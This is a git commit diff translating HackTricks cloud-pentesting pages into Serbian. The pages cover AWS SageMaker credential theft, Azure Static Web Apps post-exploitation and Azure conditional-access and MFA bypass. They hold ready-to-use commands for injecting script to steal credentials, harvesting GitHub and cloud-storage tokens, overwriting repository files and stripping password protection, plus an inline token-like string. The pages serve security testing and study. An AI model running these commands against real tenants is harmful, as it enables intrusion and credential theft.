Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-05 22:58:14 +00:00
parent ea0f2898e2
commit 88fbac2ccc
5 changed files with 289 additions and 18 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

View File

@@ -25,7 +25,7 @@ Sada je moguće pristupiti metapodacima kredencijala IAM Role.
### `sagemaker:CreatePresignedNotebookInstanceUrl`
Ako su Jupyter **notebook-ovi već pokrenuti** na njemu i možete ih nabrojati sa `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im i ukrasti kredencijale kao što je navedeno u prethodnoj tehnici**.
Ako su Jupyter **notebook-i već pokrenuti** na njemu i možete ih nabrojati sa `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im i ukrasti kredencijale kao što je navedeno u prethodnoj tehnici**.
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
@@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
### `sagemaker:CreateProcessingJob,iam:PassRole`
Napadač sa tim dozvolama može naterati **sagemaker da izvrši processingjob** sa sagemaker ulogom koja je povezana. Napadač može odrediti definiciju kontejnera koji će biti pokrenut u **AWS upravljanom ECS nalogu**, i **ukrasti kredencijale povezane IAM uloge**.
Napadač sa tim dozvolama može naterati **sagemaker da izvrši processingjob** sa sagemaker ulogom povezanu. Napadač može odrediti definiciju kontejnera koji će biti pokrenut u **AWS upravljanom ECS nalogu**, i **ukrasti kredencijale povezane IAM uloge**.
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
@@ -45,14 +45,14 @@ aws sagemaker create-processing-job \
# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
```
**Potencijalni Uticaj:** Privesc na sagemaker servisnu ulogu koja je navedena.
**Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je navedena.
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
Napadač sa tim dozvolama će moći da kreira trening posao, **pokrećući proizvoljni kontejner** na njemu sa **priključenom ulogom**. Stoga, napadač će moći da ukrade kredencijale te uloge.
> [!WARNING]
> Ovaj scenario je teže iskoristiti nego prethodni jer morate generisati Docker sliku koja će slati rev shell ili kredencijale direktno napadaču (ne možete navesti početnu komandu u konfiguraciji trening posla).
> Ovaj scenario je teže iskoristiti nego prethodni jer morate da generišete Docker sliku koja će slati rev shell ili kredencijale direktno napadaču (ne možete da navedete početnu komandu u konfiguraciji trening posla).
>
> ```bash
> # Kreirajte docker sliku
@@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Napadač sa tim dozvolama će (potencijalno) moći da kreira **hyperparameter training job**, **pokreće proizvoljan kontejner** na njemu sa **priključenom ulogom**.\
&#xNAN;_&#x49; nisam iskoristio zbog nedostatka vremena, ali izgleda slično prethodnim eksploatacijama, slobodno pošaljite PR sa detaljima eksploatacije._
_Nisam iskoristio zbog nedostatka vremena, ali izgleda slično prethodnim eksploatacijama, slobodno pošaljite PR sa detaljima eksploatacije._
## Reference

View File

@@ -0,0 +1,162 @@
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
Za više informacija o ovoj usluzi proverite:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
Moguće je napraviti statičku web stranicu koja učitava proizvoljni HTML kod kreiranjem snippeta. Ovo bi moglo omogućiti napadaču da injektuje JS kod unutar web aplikacije i ukrade osetljive informacije kao što su akreditivi ili mnemoničke ključeve (u web3 novčanicima).
Sledeća komanda kreira snippet koji će uvek biti učitan od strane web aplikacije::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### Pročitajte Konfigurisane Treće Strane Akreditive
Kao što je objašnjeno u sekciji App Service:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Pokretanjem sledeće komande moguće je **pročitati akreditive treće strane** konfigurisane u trenutnom nalogu. Imajte na umu da, na primer, ako su neki Github akreditive konfigurisani na drugom korisniku, nećete moći da pristupite tokenu iz drugog.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Ova komanda vraća tokene za Github, Bitbucket, Dropbox i OneDrive.
Evo nekoliko primera komandi za proveru tokena:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Prepisivanje fajla - Prepisivanje ruta, HTML, JS...
Moguće je **prepisati fajl unutar Github repozitorijuma** koji sadrži aplikaciju putem Azure-a, imajući **Github token** i šaljući zahtev kao što je sledeći, koji će označiti putanju fajla za prepisivanje, sadržaj fajla i poruku o komitu.
Ovo se može zloupotrebiti od strane napadača da suštinski **promene sadržaj web aplikacije** kako bi služili malicioznom sadržaju (ukrasti akreditive, mnemoničke ključeve...) ili samo da **preusmere određene putanje** na svoje servere prepisivanjem `staticwebapp.config.json` fajla.
> [!WARNING]
> Imajte na umu da ako napadač uspe da kompromituje Github repozitorijum na bilo koji način, takođe može direktno prepisati fajl sa Github-a.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
Sa ovom dozvolom, moguće je **izmeniti lozinku** koja štiti statičku web aplikaciju ili čak ukloniti zaštitu sa svake okoline slanjem zahteva kao što je sledeći:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
Ova dozvola omogućava dobijanje **API ključa za token za implementaciju** za statičku aplikaciju.
Ovaj token omogućava implementaciju aplikacije.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Zatim, da biste ažurirali aplikaciju, možete pokrenuti sledeću komandu. Imajte na umu da je ova komanda izvučena proverom **kako Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funkcioniše**, jer je to ono što je Azure postavio kao podrazumevano za korišćenje. Tako da se slika i parametri mogu promeniti u budućnosti.
1. Preuzmite repozitorijum [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ili bilo koji drugi repozitorijum koji želite da implementirate) i pokrenite `cd react-basic`.
2. Promenite kod koji želite da implementirate
3. Implementirajte ga pokretanjem (Zapamtite da promenite `<api-token>`):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
Sa ovom dozvolom je moguće **promeniti izvor statičke web aplikacije na drugi Github repozitorijum**, međutim, neće biti automatski obezbeđen jer to obično mora da se uradi iz Github akcije sa tokenom koji je autorizovao akciju, pošto se ovaj token ne ažurira automatski unutar Github tajni repozitorijuma (samo se automatski dodaje kada se aplikacija kreira).
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
Sa ovom dozvolom je moguće **resetovati API ključ statičke web aplikacije** potencijalno DoS-ujući radne tokove koji automatski implementiraju aplikaciju.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,13 +4,13 @@
## Osnovne informacije
Azure politike uslovnog pristupa su pravila postavljena u Microsoft Azure-u za sprovođenje kontrola pristupa uslugama i aplikacijama Azure-a na osnovu određenih **uslova**. Ove politike pomažu organizacijama da obezbede svoje resurse primenom pravih kontrola pristupa pod pravim okolnostima.\
Azure politike uslovnog pristupa su pravila postavljena u Microsoft Azure-u za sprovođenje kontrola pristupa uslugama i aplikacijama Azure na osnovu određenih **uslova**. Ove politike pomažu organizacijama da obezbede svoje resurse primenom pravih kontrola pristupa pod pravim okolnostima.\
Politike uslovnog pristupa u osnovi **definišu** **Ko** može pristupiti **Čemu** iz **Gde** i **Kako**.
Evo nekoliko primera:
1. **Politika rizika prijavljivanja**: Ova politika može biti postavljena da zahteva višefaktorsku autentifikaciju (MFA) kada se otkrije rizik prijavljivanja. Na primer, ako je ponašanje korisnika prilikom prijavljivanja neobično u poređenju sa njihovim redovnim obrascem, kao što je prijavljivanje iz druge zemlje, sistem može zatražiti dodatnu autentifikaciju.
2. **Politika usklađenosti uređaja**: Ova politika može ograničiti pristup uslugama Azure-a samo na uređaje koji su usklađeni sa bezbednosnim standardima organizacije. Na primer, pristup može biti dozvoljen samo sa uređaja koji imaju ažuriran antivirusni softver ili koji koriste određenu verziju operativnog sistema.
2. **Politika usklađenosti uređaja**: Ova politika može ograničiti pristup uslugama Azure samo na uređaje koji su usklađeni sa bezbednosnim standardima organizacije. Na primer, pristup može biti dozvoljen samo sa uređaja koji imaju ažurirani antivirusni softver ili koji koriste određenu verziju operativnog sistema.
## Zaobilaženje politika uslovnog pristupa
@@ -24,31 +24,31 @@ Takođe je potrebno konfigurisati **uslove** koji će **pokrenuti** politiku:
- Može se zaobići korišćenjem VPN-a ili Proxy-a za povezivanje sa zemljom ili uspešnim prijavljivanjem sa dozvoljene IP adrese
- **Microsoft rizici**: Rizik korisnika, Rizik prijavljivanja, Rizik unutrašnjeg korisnika
- **Platforme uređaja**: Bilo koji uređaj ili odabrati Android, iOS, Windows telefon, Windows, macOS, Linux
- Ako “Bilo koji uređaj” nije odabran, ali su sve druge opcije odabrane, moguće je zaobići to koristeći nasumični user-agent koji nije povezan sa tim platformama
- Ako “Bilo koji uređaj” nije odabran, ali su sve druge opcije odabrane, moguće je zaobići to korišćenjem nasumičnog user-agent-a koji nije povezan sa tim platformama
- **Klijentske aplikacije**: Opcije su “Pregledač”, “Mobilne aplikacije i desktop klijenti”, “Exchange ActiveSync klijenti” i “Ostali klijenti”
- Da bi se zaobišao prijavljivanje sa neodabranom opcijom
- **Filter za uređaje**: Moguće je generisati pravilo vezano za korišćeni uređaj
- **Tokovi autentifikacije**: Opcije su “Tok uređaja” i “Prenos autentifikacije”
- Ovo neće uticati na napadača osim ako ne pokušava da zloupotrebi neki od tih protokola u pokušaju phishing-a da pristupi nalogu žrtve
Mogući **rezultati** su: Blokirati ili Dodeliti pristup uz potencijalne uslove kao što su zahtev za MFA, uređaj da bude usklađen…
Mogući **rezultati** su: Blokirati ili Dodeliti pristup uz potencijalne uslove kao što su zahtevati MFA, uređaj da bude usklađen…
### Platforme uređaja - Uslov uređaja
Moguće je postaviti uslov zasnovan na **platformi uređaja** (Android, iOS, Windows, macOS...), međutim, ovo se zasniva na **user-agent-u** tako da je lako zaobići. Čak i **ako se sve opcije primenjuju za MFA**, ako koristite **user-agent koji nije prepoznat**, moći ćete da zaobiđete MFA ili blokadu:
Moguće je postaviti uslov zasnovan na **platformi uređaja** (Android, iOS, Windows, macOS...), međutim, ovo se zasniva na **user-agent-u** tako da je lako zaobići. Čak i **ako se sve opcije primenjuju MFA**, ako koristite **user-agent koji nije prepoznat**, moći ćete da zaobiđete MFA ili blokadu:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Samo slanjem nepoznatog user-agent-a (kao što je `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) dovoljno je da ne pokrene ovaj uslov.\
Možete promeniti user-agent **ručno** u alatima za razvoj:
Možete ručno promeniti user-agent u razvojnim alatima:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
&#x20;Ili koristiti [proširenje za pregledač poput ovog](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
Ili koristiti [proširenje za pregledač poput ovog](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
### Lokacije: Zemlje, IP opsezi - Uslov uređaja
Ako je ovo postavljeno u uslovnoj politici, napadač bi mogao samo da koristi **VPN** u **dozvoljenoj zemlji** ili pokušati da pronađe način da pristupi sa **dozvoljene IP adrese** da bi zaobišao ove uslove.
Ako je ovo postavljeno u uslovnoj politici, napadač bi mogao samo da koristi **VPN** u **dozvoljenoj zemlji** ili pokušati da pronađe način da pristupi sa **dozvoljene IP adrese** kako bi zaobišao ove uslove.
### Cloud aplikacije
@@ -57,7 +57,7 @@ Moguće je konfigurisati **politike uslovnog pristupa da blokiraju ili primoraju
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
Da biste pokušali da zaobiđete ovu zaštitu, trebali biste videti da li možete **prijaviti se u bilo koju aplikaciju**.\
Alat [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ima **desetine ID-eva aplikacija hardkodiranih** i pokušaće da se prijavi u njih i obavestiće vas, pa čak i dati token ako bude uspešan.
Alat [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ima **desetine ID-eva aplikacija hardkodiranih** i pokušaće da se prijavi u njih i obavestiće vas i čak dati token ako bude uspešan.
Da biste **testirali specifične ID-eve aplikacija u specifičnim resursima**, takođe možete koristiti alat kao što je:
```bash
@@ -94,7 +94,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
```
Pronađite više informacija o ovoj vrsti napada na sledećoj stranici:
Nađite više informacija o ovoj vrsti napada na sledećoj stranici:
{{#ref}}
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -104,9 +104,9 @@ Pronađite više informacija o ovoj vrsti napada na sledećoj stranici:
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
Ovaj skript uzima neke korisničke akreditive i proverava da li može da se prijavi u neke aplikacije.
Ovaj skript uzima neke korisničke akreditive i proverava da li može da se prijavi na neke aplikacije.
Ovo je korisno da se vidi da li **niste obavezni da koristite MFA za prijavu u neke aplikacije** koje kasnije možete zloupotrebiti da **povećate privilegije**.
Ovo je korisno da se vidi da li **niste obavezni da koristite MFA za prijavu na neke aplikacije** koje kasnije možete zloupotrebiti da **povećate privilegije**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -123,7 +123,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
Ovaj alat je pomogao u identifikaciji zaobilaženja MFA i zatim u zloupotrebi API-ja u više produkcionih AAD tenanata, gde su AAD korisnici verovali da imaju primenjen MFA, ali je ROPC zasnovana autentifikacija uspela.
Ovaj alat je pomogao u identifikaciji MFA zaobilaženja i zatim zloupotrebi API-ja u više produkcionih AAD tenanata, gde su AAD korisnici verovali da imaju MFA primenjen, ali je ROPC zasnovana autentifikacija uspela.
> [!TIP]
> Potrebno je imati dozvole da biste mogli da navedete sve aplikacije kako biste mogli da generišete listu aplikacija za brute-force.

View File

@@ -0,0 +1,109 @@
# Az - Static Web Apps
{{#include ../../../banners/hacktricks-training.md}}
## Osnovne informacije o statičkim web aplikacijama
Azure Static Web Apps je cloud usluga za hostovanje **statičkih web aplikacija sa automatskim CI/CD iz repozitorijuma kao što je GitHub**. Pruža globalnu isporuku sadržaja, serverless backend-e i ugrađeni HTTPS, čineći ga sigurnim i skalabilnim. Međutim, rizici uključuju pogrešno konfigurisane CORS, nedovoljnu autentifikaciju i manipulaciju sadržajem, što može izložiti aplikacije napadima poput XSS i curenja podataka ako se ne upravlja pravilno.
> [!TIP]
> Kada se kreira statička aplikacija, možete odabrati **politiku autorizacije za implementaciju** između **tokena za implementaciju** i **GitHub Actions radnog toka**.
### Autentifikacija web aplikacije
Moguće je **konfigurisati lozinku** za pristup web aplikaciji. Web konzola omogućava da se ona konfiguriše da štiti samo staging okruženja ili i staging i produkcijsko.
Ovako izgleda web aplikacija zaštićena lozinkom u trenutku pisanja:
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
Moguće je videti **da li se koristi neka lozinka** i koja okruženja su zaštićena sa:
```bash
az rest --method GET \
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
```
Međutim, ovo **neće prikazati lozinku u čistom tekstu**, već nešto poput: `"password": "**********************"`.
### Rute
Rute definišu **kako se obrađuju dolazni HTTP zahtevi** unutar statičke web aplikacije. Konfigurisane u **`staticwebapp.config.json`** datoteci, kontrolišu preusmeravanje URL-a, preusmeravanja, ograničenja pristupa i autorizaciju zasnovanu na rolama, osiguravajući pravilno rukovanje resursima i bezbednost.
Neki primeri:
```json
{
"routes": [
{
"route": "/",
"rewrite": "/index.html"
},
{
"route": "/about",
"rewrite": "/about.html"
},
{
"route": "/api/*",
"allowedRoles": ["authenticated"]
},
{
"route": "/admin",
"redirect": "/login",
"statusCode": 302
}
],
"navigationFallback": {
"rewrite": "/index.html",
"exclude": ["/api/*", "/assets/*"]
}
}
```
## Enumeracija
```bash
# List Static Webapps
az staticwebapp list --output table
# Get Static Webapp details
az staticwebapp show --name <name> --resource-group <res-group> --output table
# Get appsettings
az staticwebapp appsettings list --name <name>
# Get env information
az staticwebapp environment list --name <name>
az staticwebapp environment functions --name <name>
# Get API key
az staticwebapp secrets list --name <name>
# Get invited users
az staticwebapp users list --name <name>
# Get database connections
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
```
## Primeri za generisanje veb aplikacija
Možete pronaći lep primer za generisanje veb aplikacije na sledećem linku: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. Forkujte repozitorijum https://github.com/staticwebdev/react-basic/generate na vaš GitHub nalog i nazovite ga `my-first-static-web-app`
2. U Azure portalu kreirajte Static Web App konfigurišući pristup GitHub-u i birajući prethodno forkovani novi repozitorijum
3. Kreirajte ga, sačekajte nekoliko minuta i proverite vašu novu stranicu!
## Post Eksploatacija
{{#ref}}
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
{{#endref}}
## Reference
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
{{#include ../../../banners/hacktricks-training.md}}